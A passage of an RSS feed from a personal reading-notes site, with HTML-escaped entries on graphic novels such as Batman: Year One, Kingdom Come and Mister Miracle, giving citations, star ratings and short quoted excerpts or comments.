 &lt;i&gt;imagecomics.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 2013.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;style&gt;
 body {
 background-image: url('/img/fiction/east-of-west.jpg');
 }
&lt;/style&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;The things that divide us are stronger than the things that unite
us.&lt;/em&gt; &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#EastOfWest-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Soon, the Union found itself fighting a war on two fronts &amp;ndash; righteousness and
tyranny, and the resulting quagmire suited their hypocrisy. Conflict drug on
until finally reaching a protracted lull a decade later. A war that not war,
lasting twenty more years&amp;hellip; until the fire in the sky. There are those that say
the comet should have struck some other land. That God, like with Joshua and the
Amorites, somehow held the world up, kept it from spinning, just so he could
deliver judgment. Divine intervention or not, that event marked the end of the
hostilities, the remarking of territory, and the formation of what would become
the Seven Nations of America. The Accords were signed at Armistice &amp;ndash; the
epicenter of the event &amp;ndash; on November 9, 1908. It was significant, historic, and
the third most important thing to happen that day. As in Atlanta, the Prophet
Longstreet penned the Second Book of Revelation. And in Cheowee, Red Cloud
shared a waking vision with his council of elders. The upon completion, and by
all accounts at exactly the same time, both men collapsed and died.&lt;/em&gt; &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#EastOfWest-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Dark Night: A True Batman Story (2016)</title><link>https://www.curiosities.dev/fiction/dini-dark-night-2016/</link><pubDate>Sun, 16 Apr 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/dini-dark-night-2016/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main='true'&gt;
 &lt;cite id='DarkNight'&gt;
 
 Dark Night: A True Batman Story&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Paul Dini; Eduardo Risso.
 
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/dark-night-a-true-batman-story" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/11904465" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://dc.fandom.com/wiki/Dark_Night:_A_True_Batman_Story" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=dc.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;dc.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 Jun 15, 2016.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;

&lt;style&gt;
 body {
 background-image: url('/img/fiction/dark-night-2016.webp');
 }
&lt;/style&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;DINI. &lt;em&gt;Now you&amp;rsquo;d think that one invisible kid might find comfort in another
one&amp;rsquo;s company. But at that age, the last thing a nothing kid wants to be is
lumped in with another nothing. Proof that cruelty, even garbed as
self-preservation, is contagious.&lt;/em&gt; &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#DarkNight"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Catwoman: Lonely City (2021 - 2022)</title><link>https://www.curiosities.dev/fiction/chiang-catwoman-lonely-city-2021-2022/</link><pubDate>Sat, 15 Apr 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/chiang-catwoman-lonely-city-2021-2022/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/catwoman-lonely-city.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='CatwomanLonelyCity'&gt;
 
 Catwoman: Lonely City&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Cliff Chiang.
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/catwoman-lonely-city" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/15624543" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://batman.fandom.com/wiki/Catwoman:_Lonely_City" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=batman.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;batman.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 2021.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;




&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#CatwomanLonelyCity"&gt;&lt;/a&gt;&lt;/span&gt; aims to handle a Gotham without Batman. Maybe
there&amp;rsquo;ll be fewer super-villains as there is no Batman. There&amp;rsquo;s an arms race
between villains and heroes. I expect more systemic villains that skirt legality
such that they can&amp;rsquo;t be imprisoned.&lt;/p&gt;</description></item><item><title>The Sheriff of Babylon (2015 - 2016)</title><link>https://www.curiosities.dev/fiction/king-sheriff-of-babylon-2015-2016/</link><pubDate>Sat, 15 Apr 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/king-sheriff-of-babylon-2015-2016/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/sheriff-of-babylon-2015-2016.webp');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='SheriffOfBabylon'&gt;
 
 The Sheriff of Babylon&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Tom King; Mitch Gerads.
 
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/the-sheriff-of-babylon-2015/the-sheriff-of-babylon-the-deluxe-edition" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/12068749" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://dc.fandom.com/wiki/The_Sheriff_of_Babylon_Vol_1" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=dc.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;dc.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 2015.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;KING. &lt;em&gt;I decided to do something set during my time at Baghdad. In terms of
goals,I wanted to write something that wasn&amp;rsquo;t political or didn&amp;rsquo;t feel like
homework, that wasn&amp;rsquo;t about whether it was good or bad to be there; I just
wanted to write about what it was like to be actually there then.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#SheriffOfBabylon"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Batman: Year One (1987)</title><link>https://www.curiosities.dev/fiction/miller-batman-year-one-1987/</link><pubDate>Sat, 08 Apr 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/miller-batman-year-one-1987/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='BatmanYearOne1987'&gt;
 
 Batman: Year One&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Frank Miller; David Mazzucchelli.
 
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/batman-year-one-1987/batman-year-one-the-deluxe-edition-new-edition" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/11959158" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://dc.fandom.com/wiki/Batman:_Year_One" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=dc.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;dc.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 1987.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Apr 8, 2023.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;

&lt;style&gt;
 body {
 background-image: url('/img/fiction/batman-year-one-1987.jpg');
 }
&lt;/style&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Miller and Mazzucchelli also did 
&lt;a href="https://www.curiosities.dev/fiction/daredevil-born-again-1986/"
 
 
 
 &gt;
 Daredevil: Born Again (1986)
 
&lt;/a&gt;
 together.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;In 1986, DC embarked on a reinvention of its characters&amp;rsquo; origin stories to match
the times. However, Batman&amp;rsquo;s origin story didn&amp;rsquo;t change as it already captured
the fears, frustrations and hopes of a readership coping with the realities of
20th-century urban life. Miller accepted the challenge to give Batman&amp;rsquo;s origin
more depth, complexity and a wider context. &lt;span class="citation-ref"&gt;&lt;a href="#BatmanYearOne1987"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Superman: Birthright (2003 - 2004)</title><link>https://www.curiosities.dev/fiction/superman-birthright-2003-2004/</link><pubDate>Fri, 24 Mar 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/superman-birthright-2003-2004/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/superman-birthright-2003.webp');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='SupermanBirthright'&gt;
 
 Superman: Birthright&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Mark Waid; Leinil Francis Yu; Gerry Alanguilan; Dave McCaig.
 
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/superman-birthright-the-deluxe-edition" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/15624535" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 2003.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Mar 24, 2023.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;JOR-EL. &lt;em&gt;For the thousand orbits, a shining planet circled a celestial font of
heat and light. The people of that world grew tired of war so they achieved a
united society. They feared the unknown&amp;hellip; so they conquered it with the marvels
of science. They yearned for heaven&amp;hellip; so they created it beneath their very
feet. For ten thousand orbits, a clump of dirt careened around a red dwarf star.
And it accomplished miracles no one will ever remember.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#SupermanBirthright-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>House of El (2021 - 2023)</title><link>https://www.curiosities.dev/fiction/house-of-el-2021-2023/</link><pubDate>Tue, 21 Mar 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/house-of-el-2021-2023/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/gray-house-of-el-book-1.webp');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='HouseOfEl'&gt;
 
 House of El&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Claudia Gray; Eric Zawardski.
 
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/house-of-el-book-one-the-shadow-threat" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/publisher/199558152/series/house-of-el/8674329230" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 2021.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;TRIBUNE MEMBER. Krypton is the most advanced civilization known to exist in
the galaxy. For generations, its citizens have been genetically engineered to
make them the greatest examples of their kind. We have the best soldiers that
can possibly exist. The best scientists. The best leaders. Could the people
designed to rule this world fail to defend it? Could any society truly be
failing when they can terraform other planets, and shape them as they desire?
&lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#HouseOfElBook1-1"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/technocracy"&gt;#technocracy&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Mister Miracle (2017 - 2019)</title><link>https://www.curiosities.dev/fiction/king-mister-miracle-2017-2019/</link><pubDate>Mon, 13 Mar 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/king-mister-miracle-2017-2019/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/king-mister-miracle-2017.webp');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='MisterMiracle'&gt;
 
 Mister Miracle Vol. 4 (2017 - 2019)&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Tom King; Mitch Gerads.
 
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/mister-miracle-2017/mister-miracle" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/12305804" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://dc.fandom.com/wiki/Mister_Miracle_Vol_4" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=dc.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;dc.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Mar 13, 2023.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;There&amp;rsquo;s something that I&amp;rsquo;m missing. I don&amp;rsquo;t get the ending. Is Scott dead?&lt;/p&gt;</description></item><item><title>Daredevil: Born Again (1986)</title><link>https://www.curiosities.dev/fiction/daredevil-born-again-1986/</link><pubDate>Mon, 06 Mar 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/daredevil-born-again-1986/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/daredevil-born-again-1986.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='BornAgain'&gt;
 
 Daredevil: Born Again&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Frank Miller; David Mazzuchelli.
 
 
 
 
 
 &lt;a href="https://www.marvel.com/comics/discover/1032/daredevil-born-again" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.marvel.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.marvel.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/12003704" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://marvel.fandom.com/wiki/Born_Again_%28Daredevil_Story_Arc%29" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=marvel.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;marvel.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 1986.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Mar 6, 2023.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;[Matt] &lt;em&gt;Dust&amp;hellip; The dust is thick. Could choke on it&amp;hellip; There&amp;rsquo;s nothing
left. So you know. So that&amp;rsquo;s why. I never would have connected it to you.
Nothing about it said gangster &amp;ndash; until this. It was a nice piece of work,
Kingpin. You shouldn&amp;rsquo;t have signed it.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#DareDevilVol1-227"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Kingdom Come (1996)</title><link>https://www.curiosities.dev/fiction/waid-kingdom-come-1996/</link><pubDate>Sat, 04 Mar 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/waid-kingdom-come-1996/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/kingdom-come-1996.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='KingdomCome1996'&gt;
 
 Kingdom Come (1996)&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Mark Waid; Alex Ross.
 
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/kingdom-come-1996/kingdom-come" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/11356786" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://dc.fandom.com/wiki/Kingdom_Come_Vol_1" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=dc.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;dc.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Mar 4, 2023.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;The world Wesley left is filled not with his heroes&amp;hellip; but with
their children and grandchildren. They number in the nameless
thousands &amp;hellip; progeny of the past, inspired by the legends of those
who came before if not the morals. They no longer fight for the right.
They fight simply to fight, their only foes each other. The superhumans
boast that they&amp;rsquo;ve all but eliminated the super-villains of
yesteryear.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#KingdomComeVol1-1"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Animal Man (1988 - 1995)</title><link>https://www.curiosities.dev/fiction/animal-man-1988-1995/</link><pubDate>Tue, 21 Feb 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/animal-man-1988-1995/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/morrison-animal-man.jpeg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AnimalMan1988'&gt;
 
 Animal Man&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Grant Morrison.
 
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/animal-man-1988/animal-man-omnibus" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/publisher/199558152/series/animal-man-1988-1995/3655914955" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://dc.fandom.com/wiki/Animal_Man_Vol_1" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=dc.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;dc.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 1988.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Mar 5, 2023.
 
 
&lt;/div&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;He took himself into the desert. And rose up. And went into the presence of
